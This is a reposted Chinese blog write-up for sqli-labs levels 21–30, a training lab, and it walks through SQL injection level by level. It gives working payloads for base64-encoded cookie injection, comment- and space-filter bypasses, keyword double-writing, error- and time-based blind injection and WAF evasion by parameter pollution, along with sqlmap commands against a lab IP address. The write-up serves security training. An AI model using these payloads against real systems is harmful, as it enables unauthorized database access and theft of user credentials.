我是靠谱客的博主 危机小鸽子,最近开发中收集的这篇文章主要介绍绕过waf mysql爆库_sqlilab-Less-21-30-writeup,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Less-21 基于错误的Cookie头单引号字符型注入

跟Less-20是一样的,看了下源码确认是可以在cookie头进行SQL注入,但是Less-21做了一点修改,就是输入到源码中的代码需要经过base64编码才可正常注入,因为源码是直接对cookie参数进来的数据进行解码

GET /Less-21/ HTTP/1.1

Host: 106.54.35.126

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: uname=dW5hbWU9YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

DNT: 1

Connection: close

uname=admin') union select 1,2,database()# base64编码前

dW5hbWU9YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj base64编码后

其他方式跟Less-20一样

sqlmap注入

python sqlmap.py -u http://106.54.35.126/Less-21/ --dbms=MySQL --random-agent --flush-session --cookie="uname=*" --tamper="base64encode" --technique=E -v 3 --level=3 --risk=3 --dbs --batch

=============================================================================

Less-22 基于错误的Cookie头双引号字符型注入

此关跟Less-21是一样的,只是修改为双引号去掉括号再进行注入

uname=admin" union select 1,2,database()# base64编码前

dW5hbWU9YWRtaW4iIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM= base64编码后

GET /Less-22/ HTTP/1.1

Host: 106.54.35.126

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: uname=dW5hbWU9YWRtaW4iIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

DNT: 1

Connection: close

其他方式跟Less-20一样

sqlmap注入

python sqlmap.py -u http://106.54.35.126/Less-22/ --dbms=MySQL --random-agent --flush-session --cookie="uname=*" --tamper="base64encode" --technique=E -v 3 --level=3 --risk=3 --dbs --batch

Less-23 基于错误的GET请求过滤注释符的SQL注入

这里又回到GET请求了,但是过滤了SQL注入要用到的注释符--和# ,所以这里要想注入只能闭合了

爆库

?id=-1' union select 1,2,database() '

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '998'='999' '

爆字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '998'='999' '

爆字段值

?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '998'='999' '

sqlmap注入

测试可以通过sqlmap进行报错注入,布尔型盲注,时间延时盲注,但是不能通过联合查询注入

python sqlmap.py -u http://106.54.35.126/Less-23/?id=1 --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --level=3 --risk=3 --dbs --batch

Less-24 经典的二次注入

通过构造SQL语句插入到数据库中,数据库报错的信息被其他类型的SQL语句调用的时候触发攻击行为。因为第一次插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为是二次注入

这里是通过输入admin'# 为了注释掉后面的语句 来达到修改密码的目的

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

本关卡,输入注册用户admin'#998 密码随便输入,这里输入666 ,注册成功之后去登陆,登录成功之后尝试去修改密码,此时就可以修改admin的密码,然后去登陆,因为刚才注入的用户有# 注入了语句中的当前密码,所以直接修改admin密码,当前密码随便输入,具体可参考:https://www.sqlsec.com/2020/05/sqlilabs.html

Less-25 过滤了or和and

方法一:使用--+进行绕过,使用# 测试不行,不能绕过,通过union联合查询注入即可

注意,这里的password其中的or被过滤了,可以双写passwoorrd

?id=998' union select 1,2,database()--+

?id=998' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

?id=998' union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)--+

方法二:因为过滤了or和and,那么可以通过双写or或者and来进行过滤

?id=998' oorr extractvalue(1,concat(0x7e,database()))--+

或者

?id=998' || extractvalue(1,concat(0x7e,database()))--+

Less-25a 过滤了or和and-盲注

区别Less-25的就是这里不能回显,所以不能进行报错注入

联合查询注入

?id=-998' union select 1,2,database()#

时间延时注入

?id=-998' || if(length(database())=8,1,sleep(5))#

Less-26 过滤注释和空格的SQL注入

此关卡过滤了or,and, 大小写; /*, --,#, 空格, 斜线

可以通过如下方式代替绕过

%09TAB 键(水平)

%0a新建一行

%0c新的一页

%0dreturn 功能

%0bTAB 键(垂直)

%a0空格

参考这个博客https://blog.csdn.net/nzjdsds/article/details/77430073 写的吧,我是docker环境搭建,测试对应联合查询注入的payload并未成功,但是我测试xpath报错注入成功了,具体如下:

爆库

?id=998'||updatexml(1,concat('~',database(),'~'),3)||'

爆版本

?id=998'||updatexml(1,concat('~',version(),'~'),3)||'

Less-26a 过滤注释和空格的SQL盲注

此关跟Less-26一样,只是在注入的时候在上面的基础上加个括号,我这docker环境也是没有测试成功,大家可以根据实际情况搭建Linux环境测试下,不要使用Windows和docker环境测试试试看,参考博客地址:https://blog.csdn.net/nzjdsds/article/details/77430073

Less-27 过滤union和select的单引号SQL注入

此关卡过滤了union,select,/*, #, --,空格 但是关于union和select的大小写过滤不严谨

大小写混合填写

unioN,uniOn,unIon,selecT,seleCt.....

嵌套双写

uunionnion,sselectelect......

可用的payload

?id=-998'%0bununionion%0bseLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3%0band%0b'1

Less-27a 过滤union和select的双引号SQL注入

此关卡过滤了union,select,/*, #, --,空格 但是关于union和select的大小写过滤不严谨

这里跟Less-27一样只是注释的单引号变成了双引号

大小写混合填写

unioN,uniOn,unIon,selecT,seleCt.....

嵌套双写

uunionnion,sselectelect......

可用的payload

?id=-998"%0bununionion%0bseLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3%0band%0b"1

Less-28和Less-28a是一样的,都是基于错误的单引号过滤了union,select的SQL注入

参考:

https://blog.csdn.net/nzjdsds/article/details/77430073

https://www.sqlsec.com/2020/05/sqlilabs.html

手工测试并未成功

Less-29 基于WAF的防护(单引号)

爆版本

?id=998' union select 1,2,version()--+

爆库

?id=998' union select 1,2,database()--+

我发现我测试上面的语句是可以直接输入数字进行测试SQL注入的,根据网上的资料显示是反馈目标靶机的WAF只允许输入数字,在输入数字的时候先让WAF看看,检测正常之后才转发到后端供我们正常访问

爆用户名和密码

login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

参考:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-39

Less-30 基于WAF的防护(双引号)

跟Less-29一模一样,只是由原来注入的单引号变成了双引号

爆版本

?id=998" union select 1,2,version()--+

爆库

?id=998" union select 1,2,database()--+

最后

以上就是危机小鸽子为你收集整理的绕过waf mysql爆库_sqlilab-Less-21-30-writeup的全部内容,希望文章能够帮你解决绕过waf mysql爆库_sqlilab-Less-21-30-writeup所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(32)

评论列表共有 0 条评论

立即
投稿
返回
顶部